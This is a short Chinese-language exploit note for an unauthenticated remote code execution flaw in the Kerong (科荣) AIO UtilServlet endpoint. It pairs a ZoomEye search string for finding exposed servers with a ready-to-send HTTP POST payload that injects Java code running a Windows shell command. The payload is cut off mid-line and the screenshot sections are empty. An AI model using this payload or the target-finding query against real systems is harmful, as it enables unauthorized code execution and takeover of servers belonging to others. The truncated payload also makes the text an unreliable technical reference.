K1-1科荣-AIO-RCE

漏洞描述：

科荣AIO UtilServlet 接口处存远程代码执行漏洞，未经身份验证的攻击者可通过该漏洞远程执行恶意代码，写入后门文件，可获取服务器权限。

影响版本：

- 科荣-AIO

网站图片：

网络测绘：

fofa语法：

钟馗之眼："changeAccount('8000')"

漏洞复现：

payload：

```
POST /UtilServlet HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

operation=calculate&value=BufferedReader+br+%3d+new+BufferedReader(new+InputStreamReader(Runtime.getRuntime().exec("cmd.exe+/c+whoami").getInputStream()))%3bString+line%
```

效果图: